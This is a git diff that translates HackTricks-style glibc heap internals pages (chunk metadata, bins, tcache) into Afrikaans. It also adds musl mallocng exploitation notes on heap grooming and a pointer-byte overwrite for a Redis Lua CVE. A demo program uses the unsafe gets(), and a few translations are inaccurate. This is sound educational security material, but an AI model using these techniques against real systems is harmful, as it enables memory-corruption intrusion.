// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
- INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
- INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
- struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
- struct malloc_chunk* bk;
- /* Only used for large blocks: pointer to next larger size. */
- struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
- struct malloc_chunk* bk_nextsize;
+INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
+INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
+struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
+struct malloc_chunk* bk;
+/* Only used for large blocks: pointer to next larger size. */
+struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
+struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
```
-
-As commented previously, these chunks also have some metadata, very good represented in this image:
+Soos voorheen kommentaar gelewer is, bevat hierdie chunks ook metadata, wat baie goed in hierdie beeld voorgestel word:
https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png
-The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate:
+Die metadata is gewoonlik 0x08B, wat die huidige chunk-grootte aandui. Die laaste 3 bisse word gebruik om aan te dui:[[1]](#references)
-- `A`: If 1 it comes from a subheap, if 0 it's in the main arena
-- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap
-- `P`: If 1, the previous chunk is in use
+- `A`: Indien 1, kom dit van ’n subheap; indien 0, is dit in die main arena
+- `M`: Indien 1, is hierdie chunk deel van ’n spasie wat met mmap geallokeer is en nie deel van ’n heap is nie
+- `P`: Indien 1, is die vorige chunk in gebruik
-Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated).
+Daarna volg die spasie vir die gebruikerdata, en uiteindelik 0x08B om die grootte van die vorige chunk aan te dui wanneer die chunk beskikbaar is (of om gebruikerdata te stoor wanneer dit geallokeer is).
-Moreover, when available, the user data is used to contain also some data:
+Verder word die gebruikerdata, wanneer dit beskikbaar is, ook gebruik om sommige data te bevat:
-- **`fd`**: Pointer to the next chunk
-- **`bk`**: Pointer to the previous chunk
-- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself
-- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself
+- **`fd`**: Pointer na die volgende chunk
+- **`bk`**: Pointer na die vorige chunk
+- **`fd_nextsize`**: Pointer na die eerste chunk in die lys wat kleiner as hierdie een is
+- **`bk_nextsize`:** Pointer na die eerste chunk in die lys wat groter as hierdie een is
https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png
-> [!NOTE]
-> Note how liking the list this way prevents the need to having an array where every single chunk is being registered.
-
-### Chunk Pointers
+> [!TIP]
+> Let daarop hoe die lys op hierdie manier gekoppel word, wat die behoefte uitskakel aan ’n array waarin elke individuele chunk geregistreer word.
-When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\
-For these conversions these functions are used:
+### Chunk-pointers
+`malloc` gee ’n pointer terug na die skryfbare inhoud onmiddellik ná die headers. Allocator-internals adresseer egter die begin van die chunk-headers (die metadata).\
+Vir hierdie omskakelings word die volgende funksies gebruik:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@@ -207,13 +202,11 @@ For these conversions these functions are used:
/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \
- (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
+(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
+### Belyning & minimumgrootte
-### Alignment & min size
-
-The pointer to the chunk and `0x0f` must be 0.
-
+Die pointer na die chunk en `0x0f` moet 0 wees.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@@ -227,56 +220,54 @@ The pointer to the chunk and `0x0f` must be 0.
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define misaligned_chunk(p) \
- ((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
- & MALLOC_ALIGN_MASK)
+((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
+& MALLOC_ALIGN_MASK)
/* pad request bytes into a usable size -- internal version */
/* Note: This must be a macro that evaluates to a compile time constant
- if passed a literal constant. */
+if passed a literal constant. */
#define request2size(req) \
- (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
- MINSIZE : \
- ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
+(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
+MINSIZE : \
+((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Check if REQ overflows when padded and aligned and if the resulting
- value is less than PTRDIFF_T. Returns the requested size or
- MINSIZE in case the value is less than MINSIZE, or 0 if any of the
- previous checks fail. */
+value is less than PTRDIFF_T. Returns the requested size or
+MINSIZE in case the value is less than MINSIZE, or 0 if any of the
+previous checks fail. */
static inline size_t
checked_request2size (size_t req) __nonnull (1)
{
- if (__glibc_unlikely (req > PTRDIFF_MAX))
- return 0;
-
- /* When using tagged memory, we cannot share the end of the user
- block with the header for the next chunk, so ensure that we
- allocate blocks that are rounded up to the granule size. Take
- care not to overflow from close to MAX_SIZE_T to a small
- number. Ideally, this would be part of request2size(), but that
- must be a macro that produces a compile time constant if passed
- a constant literal. */
- if (__glibc_unlikely (mtag_enabled))
- {
- /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
- asm ("");
-
- req = (req + (__MTAG_GRANULE_SIZE - 1)) &
- ~(size_t)(__MTAG_GRANULE_SIZE - 1);
- }
-
- return request2size (req);
-}
-```
+if (__glibc_unlikely (req > PTRDIFF_MAX))
+return 0;
+
+/* When using tagged memory, we cannot share the end of the user
+block with the header for the next chunk, so ensure that we
+allocate blocks that are rounded up to the granule size. Take
+care not to overflow from close to MAX_SIZE_T to a small
+number. Ideally, this would be part of request2size(), but that
+must be a macro that produces a compile time constant if passed
+a constant literal. */
+if (__glibc_unlikely (mtag_enabled))
+{
+/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
+asm ("");
-Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed.
+req = (req + (__MTAG_GRANULE_SIZE - 1)) &
+~(size_t)(__MTAG_GRANULE_SIZE - 1);
+}
-### Get Chunk data and alter metadata
+return request2size (req);
+}
+```
+Let daarop dat wanneer die totale benodigde spasie bereken word, `SIZE_SZ` slegs 1 keer bygetel word omdat die `prev_size`-veld gebruik kan word om data te stoor; daarom is slegs die aanvanklike header nodig.
-These functions work by receiving a pointer to a chunk and are useful to check/set metadata:
+### Kry Chunk-data en wysig metadata
-- Check chunk flags
+Hierdie funksies werk deur ’n pointer na ’n chunk te ontvang en is nuttig om metadata na te gaan/stel:
+- Kontroleer chunk flags
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@@ -296,8 +287,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
- from a non-main arena. This is only set immediately before handing
- the chunk to the user, if necessary. */
+from a non-main arena. This is only set immediately before handing
+the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */
@@ -306,18 +297,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
```
-
-- Sizes and pointers to other chunks
-
+- Groottes en pointers na ander chunks
```c
/*
- Bits to mask off when extracting size
+Bits to mask off when extracting size
- Note: IS_MMAPPED is intentionally not masked off from size field in
- macros for which mmapped chunks should never be seen. This should
- cause helpful core dumps to occur if it is tried by accident by
- people extending or adapting this malloc.
- */
+Note: IS_MMAPPED is intentionally not masked off from size field in
+macros for which mmapped chunks should never be seen. This should
+cause helpful core dumps to occur if it is tried by accident by
+people extending or adapting this malloc.
+*/
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
@@ -341,35 +330,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
-
-- Insue bit
-
+- In-gebruik-bis
```c
/* extract p's inuse bit */
#define inuse(p) \
- ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
+((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \
- ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
+((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \
- ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
+((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
- (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
+(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \
- (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
+(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \
- (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
+(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
-
-- Set head and footer (when chunk nos in use
-
+- Stel kop- en voetskrif (wanneer chunk-nommers gebruik word
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@@ -380,44 +365,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
-
-- Get the size of the real usable data inside the chunk
-
+- Kry die grootte van die werklik bruikbare data binne die chunk
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
/* This is the size of the real usable data in the chunk. Not valid for
- dumped heap chunks. */
+dumped heap chunks. */
#define memsize(p) \
- (__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
- chunksize (p) - CHUNK_HDR_SZ : \
- chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
+(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
+chunksize (p) - CHUNK_HDR_SZ : \
+chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
/* If memory tagging is enabled the layout changes to accommodate the granule
- size, this is wasteful for small allocations so not done by default.
- Both the chunk header and user data has to be granule aligned. */
+size, this is wasteful for small allocations so not done by default.
+Both the chunk header and user data has to be granule aligned. */
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
- "memory tagging is not supported with large granule.");
+"memory tagging is not supported with large granule.");
static __always_inline void *
tag_new_usable (void *ptr)
{
- if (__glibc_unlikely (mtag_enabled) && ptr)
- {
- mchunkptr cp = mem2chunk(ptr);
- ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
- }
- return ptr;
+if (__glibc_unlikely (mtag_enabled) && ptr)
+{
+mchunkptr cp = mem2chunk(ptr);
+ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
+}
+return ptr;
}
```
+## Voorbeelde
-## Examples
-
-### Quick Heap Example
-
-Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64:
+### Vinnige Heap-voorbeeld
+Vinnige heap-voorbeeld vanaf [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html), maar in arm64:
```c
#include
#include
@@ -425,32 +406,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http
void main(void)
{
- char *ptr;
- ptr = malloc(0x10);
- strcpy(ptr, "panda");
+char *ptr;
+ptr = malloc(0x10);
+strcpy(ptr, "panda");
}
```
-
-Set a breakpoint at the end of the main function and lets find out where the information was stored:
+Stel 'n breakpoint aan die einde van die main-funksie en laat ons uitvind waar die inligting gestoor is:
-It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`.
-
-The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number.
+Dit is moontlik om te sien dat die string panda by `0xaaaaaaac12a0` gestoor is (wat die adres was wat deur malloc binne `x0` as antwoord gegee is). Deur 0x10 bytes vroeër na te gaan, is dit moontlik om te sien dat die `0x0` aandui dat die **vorige chunk nie gebruik word nie** (lengte 0) en dat die lengte van hierdie chunk `0x21` is.
+Die ekstra spasie wat gereserveer is (0x21-0x10=0x11), kom van die **bygevoegde headers** (0x10), en 0x1 beteken nie dat 0x21B gereserveer is nie, maar dat die laaste 3 bits van die lengte van die huidige chunk spesiale betekenisse het. Aangesien die lengte altyd 16-byte-belyn is (op 64-bis-masjiene), gaan hierdie bits eintlik nooit deur die lengtegetal gebruik word nie.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
-
-### Multithreading Example
+### Multithreading-voorbeeld
Multithread
-
```c
#include
#include
@@ -460,70 +437,98 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1
void* threadFuncMalloc(void* arg) {
- printf("Hello from thread 1\n");
- char* addr = (char*) malloc(1000);
- printf("After malloc and before free in thread 1\n");
- free(addr);
- printf("After free in thread 1\n");
+printf("Hello from thread 1\n");
+char* addr = (char*) malloc(1000);
+printf("After malloc and before free in thread 1\n");
+free(addr);
+printf("After free in thread 1\n");
}
void* threadFuncNoMalloc(void* arg) {
- printf("Hello from thread 2\n");
+printf("Hello from thread 2\n");
}
int main() {
- pthread_t t1;
- void* s;
- int ret;
- char* addr;
+pthread_t t1;
+void* s;
+int ret;
+char* addr;
- printf("Before creating thread 1\n");
- getchar();
- ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
- getchar();
+printf("Before creating thread 1\n");
+getchar();
+ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
+getchar();
- printf("Before creating thread 2\n");
- ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
+printf("Before creating thread 2\n");
+ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
- printf("Before exit\n");
- getchar();
+printf("Before exit\n");
+getchar();
- return 0;
+return 0;
}
```
-
-Debugging the previous example it's possible to see how at the beginning there is only 1 arena:
+Deur die vorige voorbeeld te debug, is dit moontlik om te sien dat daar aanvanklik slegs 1 arena is:
-
+
-Then, after calling the first thread, the one that calls malloc, a new arena is created:
+Daarna, nadat die eerste thread wat malloc aanroep, uitgevoer is, word ’n nuwe arena geskep:
-
+
-and inside of it some chunks can be found:
+en binne-in dit kan sommige chunks gevind word:
-
+
-## Bins & Memory Allocations/Frees
+## Bins & Geheue-allokasies/Vrystellings
-Check what are the bins and how are they organized and how memory is allocated and freed in:
+Die glibc allocator stuur vrygestelde chunks deur tcache-, fast-, unsorted-, small- of large bins volgens grootte en allocator-toestand; die gekoppelde bladsy verduidelik hierdie vloei en hul metadata in detail.[[6]](#references)
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
-## Heap Functions Security Checks
+## Sekuriteitskontroles vir Heap-funksies
-Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted:
+Funksies wat by die heap betrokke is, sal sekere kontroles uitvoer voordat hulle hul aksies uitvoer, om te probeer seker maak dat die heap nie beskadig is nie:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
+## musl mallocng exploitation-notas (Alpine)
+
+- **Slab group/slot grooming vir groot lineêre kopieë:** mallocng sizeclasses gebruik mmap()'d groups waarvan die slots volledig `munmap()`'d word wanneer dit leeg is. Vir lang lineêre kopieë (~0x15555555 bytes), hou die span gemapped (vermy gate wat deur vrygestelde groups veroorsaak word) en plaas die victim allocation langs die source slot.[[2]](#references)
+- **Versagting van cycling offset:** Wanneer ’n slot hergebruik word, kan mallocng die begin van die user-data met veelvoude van `UNIT` (0x10) verskuif wanneer daar genoeg slack is vir ’n ekstra 4-byte header.[[3]](#references) Dit verskuif overwrite-offsets (bv. LSB pointer-hits), tensy jy die hergebruikstellings beheer of by strides sonder slack bly (bv. Lua `Table`-objects by stride 0x50 toon offset 0). Inspekteer offsets met muslheap se `mchunkinfo`[[2]](#references)[[4]](#references) :
+```gdb
+pwndbg> mchunkinfo 0x7ffff7a94e40
+... stride: 0x140
+... cycling offset : 0x1 (userdata --> 0x7ffff7a94e40)
+```
+- **Verkies korrupsie van runtime-objekte bo allocator-metadata:** mallocng meng cookies/beskermde out-of-band-metadata, dus teiken hoërvlak-objekte. In Redis se Lua 5.1 wys `Table->array` na ’n array van `TValue`-getagde waardes; deur die LSB van ’n pointer in `TValue->value` te oorskryf (byvoorbeeld met die JSON-terminatorbyte `0x22`), kan verwysings herlei word sonder om aan malloc-metadata te raak.[[2]](#references)
+- **Ontfouting van gestrippte/statiese Lua op Alpine:** Bou ’n ooreenstemmende Lua, lys simbole met `readelf -Ws`, strip funksiesimbole met `objcopy --strip-symbol` om struct-uitlegte in GDB bloot te lê, en gebruik dan Lua-bewuste pretty-printers (GdbLuaExtension vir Lua 5.1) saam met muslheap om stride/reserved/cycling-offset-waardes na te gaan voordat die overflow geaktiveer word.[[2]](#references)[[4]](#references)[[5]](#references)
+
+## Gevallestudies
+
+Bestudeer allocator-spesifieke primitives wat uit werklike bugs afgelei is:
+
+{{#ref}}
+virtualbox-slirp-nat-packet-heap-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gnu-obstack-function-pointer-hijack.md
+{{#endref}}
+
## References
-- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
-- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
+- [1] [Heap Exploitation Deel 1: Begrip van die Glibc Heap-implementering](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
+- [2] [Pumping Iron op die Musl Heap – Werklike CVE-2022-24834 Exploitation op ’n Alpine mallocng Heap](https://www.nccgroup.com/research-blog/pumping-iron-on-the-musl-heap-real-world-cve-2022-24834-exploitation-on-an-alpine-mallocng-heap/)
+- [3] [musl mallocng enframe (v1.2.4)](https://git.musl-libc.org/cgit/musl/tree/src/malloc/mallocng/meta.h?h=v1.2.4#n196)
+- [4] [muslheap GDB-plugin](https://github.com/xf1les/muslheap)
+- [5] [GdbLuaExtension (Lua 5.1-ondersteuning)](https://github.com/fidgetingbits/GdbLuaExtension)
+- [6] [Heap Exploitation Deel 2: glibc Heap Free Bins](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
index eb184fc93a9..03c094e996d 100644
--- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
+++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
@@ -2,60 +2,55 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread.
+Om die doeltreffendheid van hoe chunks gestoor word te verbeter, word elke chunk nie net in een linked list gestoor nie, maar daar is verskeie tipes. Dit is die bins, en daar is 5 tipes bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins en 64 tcache bins per thread.[[1]](#references)[[2]](#references)
-The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins.
+Die aanvanklike adres van elke unsorted, small en large bin is binne dieselfde array. Die index 0 word nie gebruik nie, 1 is die unsorted bin, bins 2-64 is small bins en bins 65-127 is large bins.[[1]](#references)
### Tcache (Per-Thread Cache) Bins
-Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**.
+Alhoewel threads probeer om hul eie heap te hê (sien [Arenas](bins-and-memory-allocations.md#arenas) en [Subheaps](bins-and-memory-allocations.md#subheaps)), is daar die moontlikheid dat ’n proses met baie threads (soos ’n web server) **uiteindelik die heap met ander threads sal deel**. In hierdie geval is die hoofoplossing die gebruik van **lockers**, wat die **threads aansienlik kan vertraag**.[[5]](#references)
-Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
+Daarom is ’n tcache soortgelyk aan ’n fast bin per thread, in die sin dat dit ’n **single linked list** is wat nie chunks merge nie. Elke thread het **64 singly-linked tcache bins**. Elke bin kan ’n maksimum van [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) bevat, wat wissel van [24 tot 1032B op 64-bit-stelsels en 12 tot 516B op 32-bit-stelsels](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).[[3]](#references)[[4]](#references)
-**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally.
+**Wanneer ’n thread** ’n chunk free, **indien dit nie te groot is** om in die tcache geallokeer te word nie en die onderskeie tcache bin **nie vol is nie** (reeds 7 chunks), **sal dit daarin geallokeer word**. Indien dit nie na die tcache kan gaan nie, sal dit vir die heap lock moet wag om die free-operasie globaal uit te voer.[[6]](#references)
-When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\
-There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache.
+Wanneer ’n **chunk geallokeer word**, sal dit die chunk gebruik indien daar ’n free chunk van die vereiste grootte in die **Tcache** is; indien nie, sal dit vir die heap lock moet wag om een in die global bins te vind of ’n nuwe een te skep.\
+Daar is ook ’n optimization: in hierdie geval, terwyl die heap lock gehou word, **sal die thread sy Tcache vul met heap chunks (7) van die aangevraagde grootte**, sodat dit hulle in Tcache sal vind indien dit meer nodig het.[[6]](#references)
-Add a tcache chunk example
-
+Voeg ’n tcache chunk-voorbeeld by
```c
#include
#include
int main(void)
{
- char *chunk;
- chunk = malloc(24);
- printf("Address of the chunk: %p\n", (void *)chunk);
- gets(chunk);
- free(chunk);
- return 0;
+char *chunk;
+chunk = malloc(24);
+printf("Address of the chunk: %p\n", (void *)chunk);
+gets(chunk);
+free(chunk);
+return 0;
}
```
-
-Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use:
-
+Kompileer dit en ontfout dit met ’n breakpoint in die `ret`-opcode van die `main`-funksie. Dan kan jy met GEF die tcache-bin wat gebruik word, sien:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
```
-
-#### Tcache Structs & Functions
+#### Tcache-strukture en -funksies
-In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin.
+In die volgende kode is dit moontlik om die **maksimum aantal bins** en **chunks per indeks** te sien, die **`tcache_entry`**-struktuur wat geskep is om dubbele frees te voorkom, en **`tcache_perthread_struct`**, ’n struktuur wat elke thread gebruik om die adresse vir elke indeks van die bin te stoor.[[6]](#references)
-tcache_entry and tcache_perthread_struct
-
+tcache_entry en tcache_perthread_struct
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
@@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind
# define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are...
- idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
- idx 1 bytes 25..40 or 13..20
- idx 2 bytes 41..56 or 21..28
- etc. */
+idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
+idx 1 bytes 25..40 or 13..20
+idx 2 bytes 41..56 or 21..28
+etc. */
/* This is another arbitrary limit, which tunables can change. Each
- tcache bin will hold at most this number of chunks. */
+tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
/* Maximum chunks in tcache bins for tunables. This value must fit the range
- of tcache->counts[] entries, else they may overflow. */
+of tcache->counts[] entries, else they may overflow. */
# define MAX_TCACHE_COUNT UINT16_MAX
[...]
typedef struct tcache_entry
{
- struct tcache_entry *next;
- /* This field exists to detect double frees. */
- uintptr_t key;
+struct tcache_entry *next;
+/* This field exists to detect double frees. */
+uintptr_t key;
} tcache_entry;
/* There is one of these for each thread, which contains the
- per-thread cache (hence "tcache_perthread_struct"). Keeping
- overall size low is mildly important. Note that COUNTS and ENTRIES
- are redundant (we could have just counted the linked list each
- time), this is for performance reasons. */
+per-thread cache (hence "tcache_perthread_struct"). Keeping
+overall size low is mildly important. Note that COUNTS and ENTRIES
+are redundant (we could have just counted the linked list each
+time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
- uint16_t counts[TCACHE_MAX_BINS];
- tcache_entry *entries[TCACHE_MAX_BINS];
+uint16_t counts[TCACHE_MAX_BINS];
+tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
```
-
-The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj
+Die funksie `__tcache_init` is die funksie wat die spasie vir die `tcache_perthread_struct`-obj skep en allokeer[[6]](#references)
-tcache_init code
-
+tcache_init-kode
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
static void
tcache_init(void)
{
- mstate ar_ptr;
- void *victim = 0;
- const size_t bytes = sizeof (tcache_perthread_struct);
-
- if (tcache_shutting_down)
- return;
-
- arena_get (ar_ptr, bytes);
- victim = _int_malloc (ar_ptr, bytes);
- if (!victim && ar_ptr != NULL)
- {
- ar_ptr = arena_get_retry (ar_ptr, bytes);
- victim = _int_malloc (ar_ptr, bytes);
- }
-
-
- if (ar_ptr != NULL)
- __libc_lock_unlock (ar_ptr->mutex);
-
- /* In a low memory situation, we may not be able to allocate memory
- - in which case, we just keep trying later. However, we
- typically do this very early, so either there is sufficient
